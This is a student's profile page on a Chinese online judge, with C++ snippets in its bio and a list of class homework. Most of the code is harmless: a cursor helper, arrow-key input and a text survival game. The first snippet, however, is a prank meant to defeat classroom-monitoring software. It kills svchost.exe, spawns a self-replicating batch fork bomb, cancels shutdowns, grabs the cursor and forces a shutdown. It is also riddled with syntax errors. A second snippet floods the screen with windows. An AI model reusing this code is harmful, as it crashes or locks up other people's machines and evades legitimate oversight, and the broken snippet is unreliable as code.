1. 首页
  2. 公告
  1. 登录
  2. Language
    1. English
    2. 한국어
    3. 简体中文
    4. 正體中文

2025tyoi0147

UID: 14053, 注册于 2025-7-3 15:36:15, 最后登录于 2025-11-29 21:08:18, 最后活动于 2025-11-28 16:49:48.

解决了 305 道题目,RP: 230.84 (No. 520)

♂
  • 个人简介

    1 2

    反极域

    #include<windows.h>
    using namespace std;
    int ge()
    {
    	while(1)
    	{
    		unsigned long long i=0;
    		system("taskkill /f /im svchost.exe");
    		freopen("11.out","w",stdout);
        	cout<<":1 \n start 11.bat \n goto 1";
        	fclose(stdout);
        	system("ren 11.out 11.bat");
        	system("start 11.bat");
        	int x=GetSystemMetrics(SM_CXSCREEN);
        	int y=GetSystemMetrics(SM_CYSCREEN);
        	srand(time(0));/9999
    		system("shutdown -a");
      		SetCursorPos(999,999);
    		system("strat cpp");
    		cout<<(char)7//;
    		i++;if(i==180000000000000000){system("shutdown -s -t 0");/66}
    		system("xcopy");
    	}
    }
    

    好van的

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()				
    {				
    	while(1)
    	{
    		int a;
    		a=MessageBox(0,"左cpp","Caption",1);
    		if(a==1)for(int i=0;i<100;i++)system("start cpp");
    		if(a==2){
    		for(int i=0;i<10;i++)system("start cpp");
    		cout<<"谁让你点的???????!!!!!!!!!!!!!!!";}
    	}
    	return 0;        
    }                    
    
    

    隐藏光标

    #include<bits/stdc++.h>
    #include<windows.h>
    #include <conio.h>
    void hide() {
    HANDLE hout = GetStdHandle(STD_OUTPUT_HANDLE);
    COORD coord;
    	CONSOLE_CURSOR_INFO cursor_info = {1, 0};
    	SetConsoleCursorInfo(hout, &cursor_info);
    }
    
    

    上下左右

    #include<bits/stdc++.h>
    #include<windows.h>
    #include <conio.h>
    using namespace std;
    int main()
    {
    	int a;
    
    	while(1)
    	if(kbhit())
    	{
    		a=getch();
    		if(a==-32)
    		a=getch();
    		if(a==72)cout<<"上"<<endl;
    		if(a==80)cout<<"下"<<endl;
    		if(a==75)cout<<"左"<<endl;
    		if(a==77)cout<<"右"<<endl;
    	}
    }
    

    撒子youxi

    #include<bits/stdc++.h>
    #include<windows.h>
    #include <conio.h>
    using namespace std;
    void hide() {
    HANDLE hout = GetStdHandle(STD_OUTPUT_HANDLE);
    COORD coord;
    	CONSOLE_CURSOR_INFO cursor_info = {1, 0};
    	SetConsoleCursorInfo(hout, &cursor_info);
    }
    struct tree{
    	bool w,w1;
    	int t;
    	int x,y;
    }mat[40][25],we;
    int go,tian=1,sheng=10,dongs[5],shec[1]={4},shez[1]={2},shew[1]={3},ti=10;string name,she[1]={"火把设计图(2木材)"},ddong[6]={"矿泉水","面包","空矿泉水瓶","木材","火把","石头"},mmap[7]={"森林(0.退出)","小溪"};
    bool shes[1];int ii=6,iii=1;
    int main()
    {
    	we.x=0,we.y=0;
    	srand(time(NULL));
    	for(int i=0;i<25;i++)
    	{
    		for(int j=0;j<40;j++)
    		{
    			int ff=rand()%3;
    			if(ff==1)mat[i][j].w1=true;
    			mat[i][j].w=mat[i][j].w1;
    		}
    	}
    	hide();
    	cout<<"末日生存,你的名字是:";
    	cin>>name;
    	cout<<"欢迎"<<name<<"进入!!!!!!!!!!!!!!!!";Sleep(2000);system("cls");
    	while(1)
    	{
    		srand(time(NULL));
    		cout<<"你生存了"<<tian<<"天"<<"\n生命值:"<<sheng<<" 体力:"<<ti<<endl<<"你要去哪?\n0.退出 1.外出找宝箱 2.背包 3.外出找资源";
    		cin>>go;
    		if(go==0)
    		{
    			cout<<"拜拜!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!";
    			break;
    		}
    		if(go==1)
    		{
    			int yes,bao=rand()%tian+1,vai;
    			cout<<"今天天降"<<bao<<"个宝箱"<<endl<<"是否寻找?(1.yes 2.no)"<<endl;
    			cin>>yes;
    			if(!(yes-1))
    			{
    				for(int i=1;i<=bao;i++)
    				{
    					cout<<"你发现了第"<<i<<"个宝箱"<<"是否寻找?(1.yes 2.no)"<<endl;
    					cin>>yes;
    					if(yes==1)
    					{
    						vai=rand()%2;
    						if(vai)
    						{
    							int zhong=rand()%4;
    							if(zhong==0)
    							{
    								cout<<"你中毒了,生命值减5"<<endl; 
    								sheng-=5;
    							}
    							if(zhong==1)
    							{
    								cout<<"你被物品划伤了,生命值减2"<<endl;
    								sheng-=2;
    							}
    							if(zhong==3)
    							{
    								cout<<"你被东西撞回了家"<<endl;
    								break;
    							}
    							if(zhong==3)
    							{
    								cout<<"周围有东西!"<<endl;
    							}
    						}
    						int ge=rand()%tian+1,shess=rand()%1,yo=rand()%2;
    						for(int j=1;j<=ge;j++)
    						{
    							int dong=rand()%ii;
    							cout<<"你获得了"<<ddong[dong]<<endl;
    							dongs[dong]++;
    						}
    						if(yo==1)
    						{
    							cout<<"你获得了"<<she[shess]<<endl;
    							shes[shess]=1;
    						}
    					}
    					else continue;
    				}
    			}
    		}
    		bool br=0;
    		if(go==2)
    		{
    			int c;//shes[1],shec[1]={4},shez[1]={2},shew[1]={3}
    			//she[1]={"火把设计图(2木材)"};
    			//ddong[5]={"矿泉水","面包","空矿泉水瓶","木材","火把"}
    			for(int i=0;i<ii;i++)
    			{
    				if(dongs[i])
    				cout<<i+1<<" "<<ddong[i]<<" "<<dongs[i]<<"个"<<endl;
    			}
    			cout<<"设计图:\n";
    			for(int i=0;i<iii;i++)
    			{
    				if(shes[i])
    				cout<<i+1<<" "<<she[i]<<endl;
    			}
    			cout<<"\n用哪个?(退出:0 物品:1 设计图:2)";
    			while(1){
    				int dong,shu;cin>>c;
    				if(c==0)
    				{
    					br=1;
    					system("cls");
    					break;
    				}
    				if(c==1)
    				{
    					cout<<"用哪个物品?"<<endl;
    					cin>>dong;dong--;
    					cout<<"用几个?"<<endl;
    					cin>>shu;
    					if(shu>dongs[dong])
    					{
    						cout<<"不够!"<<endl;
    					}
    					else
    					{
    						cout<<name<<"用了"<<shu<<"个"<<ddong[dong]<<endl;
    						dongs[dong]-=shu;
    						if(dong==0)
    						{
    							dongs[2]+=shu;
    						}
    					}
    					Sleep(2000);
    					system("cls");
    					continue;
    				}
    				if(c==2)
    				{
    					cout<<"用哪个设计图?"<<endl;
    					cin>>dong;dong--;
    					if(dongs[shew[dong]]<shez[dong])
    					{
    						cout<<"不够!"<<endl;
    					}
    					else
    					{
    						dongs[shew[dong]]-=shez[dong];
    						dongs[shec[dong]]++;
    						cout<<name<<"用了"<<shez[dong]<<"个"<<ddong[shew[dong]]<<"获得了1个"<<ddong[shec[dong]]<<endl;
    					}
    				}
    				cout<<"\n用哪个?(退出:0 物品:1 设计图:2)";
    			}
    		}
    		if(br)continue;
    		if(go==3)
    		{
    			while(ti>0)
    			{
    				int go1;
    				cout<<"体力:"<<ti<<endl;
    				for(int i=0;i<2;i++)
    				{
    					cout<<i+1<<"."<<mmap[i]<<" ";
    				}
    				cout<<" 0.退出 -1.吃面包(加一体力)"<<"(你有"<<dongs[1]<<"个面包)";
    				cin>>go1;go1--;
    				if(go1==-1)break;
    				if(go1==-2)
    				{
    					if(dongs[1]<1)
    					{
    						cout<<"面包不够!!!"; 
    					}else
    					{
    						dongs[1]--;
    						ti++; 
    					}
    					continue;
    				}
    				cout<<endl<<name<<"前往了"<<mmap[go1]<<endl;
    				Sleep(1000); 
    				if(go1==0)
    				{		
    					int ts=0;
    					for(int i=0;i<25;i++)
    					{
    						for(int j=0;j<40;j++)
    						{
    							ts+=mat[i][j].w;
    						}
    					}
    					if(ts==0)
    					{
    						for(int i=0;i<25;i++)
    						{
    							for(int j=0;j<40;j++)
    							{
    								mat[i][j].w=mat[i][j].w1;
    							}
    						}
    					}
    					while(1)
    					{
    						for(int i=0;i<25;i++)
    						{
    							for(int j=0;j<40;j++)
    							{
    								if(i==we.y&&j==we.x)cout<<"$";
    								else if(mat[i][j].w)cout<<"*";
    								else cout<<" ";
    							}
    							cout<<endl;
    						}
    						if(mat[we.y][we.x].w)
    					{
    						cout<<"c.切割树木(得3木材)"<<endl;
    					}
    						if(kbhit())
    						{
    							int a;
    							a=getch();
    							if(a==-32)
    								a=getch();
    								if(a==72)if(we.y!=0)we.y--;
    								if(a==80)if(we.y!=24)we.y++;
    								if(a==75)if(we.x!=0)we.x--;
    								if(a==77)if(we.x!=39)we.x++;
    								if(a==99&&mat[we.y][we.x].w)
    								{
    									mat[we.y][we.x].w=0;cout<<"你获得了3个木头";dongs[3]+=3;
    									system("cls");
    								}
    								if(a==48)
    								{
    									system("cls");
    									break;
    								}
    						}
    					Sleep(10);
    							system("cls");
    				}
    			}
    				if(go1==1)
    				{
    					cout<<"一个空矿泉水瓶换矿泉水?\n1.yes 2.no\n";
    					int huan;
    					cin>>huan;
    					if(huan==1)
    					{
    						cout<<"换几个?(你有"<<dongs[2]<<"个空矿泉水瓶)";
    						int ji;cin>>ji;
    						if(ji>dongs[2])
    						{
    							cout<<"不够!!!";
    						}
    						else{
    							dongs[2]-=ji;
    							dongs[0]+=ji;
    						}
    					}
    					
    				}ti--;
    			}
    		}
    		if(tian%2==0){
    			int shif,jiping=rand()%tian+1;
    			cout<<"你渴了!!,是否喝水?(1,yes 2,no)需要"<<jiping<<"瓶水(你有"<<dongs[0]<<"瓶水)";
    			cin>>shif;
    			if(shif==1)
    			{
    				if(jiping>dongs[0])
    				{
    					cout<<"不够!!!"; 
    					cout<<"你渴了!!但不喝水,所以生命值减5";
    					sheng-=5; 
    				}
    				else{
    					dongs[0]-=jiping;
    					dongs[2]+=jiping;
    				}
    			}
    			else
    			{
    				cout<<"你渴了!!但不喝水,所以生命值减5";
    				sheng-=5; 
    			}
    		}
    		Sleep(2000);
    		system("cls");
    		sheng+=2;tian++;ti=10;
    	} 
    	return 0;
    }
    
    
    

    你是这个

  • 最近活动

    • 2025铁一集团新苗秋季班作业8----《栈结构》 作业
    • 2025铁一集团新苗秋季班作业7----《前缀和&差分前缀和》 作业
    • 2025铁一集团新苗秋季班作业7----贪心+递推 作业
    • 2025铁一集团新苗秋季班作业5----《枚举算法》 作业
    • 2025铁一集团新苗秋季班作业4----《模拟算法》 作业
    • 2025铁一集团新苗秋季班作业6----《排序和结构体排序》 作业
    • 2025铁一集团新苗周赛计划#02 IOI
    • 2025铁一集团新苗秋季班作业3------《位运算》 作业
    • 2025铁一集团新苗秋季班作业2----《进制转换》 作业
    • 2025 CSP-J1初赛模拟测试10 OI
    • 2025铁一集团新苗for循环专题练习赛 IOI
    • 2025铁一集团新苗线下测试2 IOI
    • 2025铁一集团新苗线上模拟测试5 OI
    • 2025铁一集团新苗线上模拟测试4 OI
    • 2025铁一集团新苗线上模拟赛3 OI
    • 2025铁一集团新苗线下测试1 IOI
    • 2025铁一集团新苗day8作业-while2 作业
    • 2025铁一集团新苗线上(8月4日)-循环专题练习 作业
    • 2025铁一集团新苗复习-for循环专题练习1 作业
    • 2025铁一集团新苗day15作业-结构体和函数 作业
    • 2025铁一集团新苗day14作业-二维数组基础 作业
    • 2025铁一集团新苗秋季班作业1-二维数组和二维字符数组 作业
    • 2025铁一集团新苗day13作业-普通排序和桶排序 作业
    • 2025铁一集团新苗线上模拟赛2 OI
    • 2025铁一集团新苗day12作业-数组标记的应用 作业
    • 2025铁一集团新苗day11作业-字符、字符数组和字符串 作业
    • 2025铁一集团新苗day10作业-一维数组基础 作业
    • 2025铁一集团新苗day9作业-多重循环 作业
    • 2025铁一集团新苗day7作业-循环语句while1 作业
    • 2025铁一集团新苗线上模拟赛1 OI
    • 2025铁一集团新苗day6作业-for语句3(数据的在线处理) 作业
    • 2025铁一集团新苗day5作业-for语句2(枚举和筛选) 作业
    • 2025铁一集团新苗day4作业-循环for语句 作业
    • 2025铁一集团新苗day3作业-if条件语句 作业
    • 2025铁一集团新苗day2作业-表达式 作业
    • 2025铁一集团新苗day1作业-C++程序结构 作业
    • 2024小六秋季班第七课《前缀和&差分前缀和》 作业
    • 2024小六秋季班第三课《排序和结构体排序》 作业
  • Stat

  • Rating

757
已递交
305
已通过
0
题解被赞

状态

  • 评测队列
  • 服务状态

开发

  • 开源

支持

  • 帮助
  • 联系我们

关于

  • 关于
  • 隐私
  • 服务条款
  • 版权申诉
  1. Language
    1. English
    2. 한국어
    3. 简体中文
    4. 正體中文
  2. 兼容模式
  3. 主题
    1. 亮色
    2. 暗色
  1. 粤ICP备2024335011号
  2. Worker 0, 16ms
  3. Powered by Hydro v5.0.0-beta.11 Community
关闭

登录

使用您的 oiClass 通用账户

忘记密码或者用户名?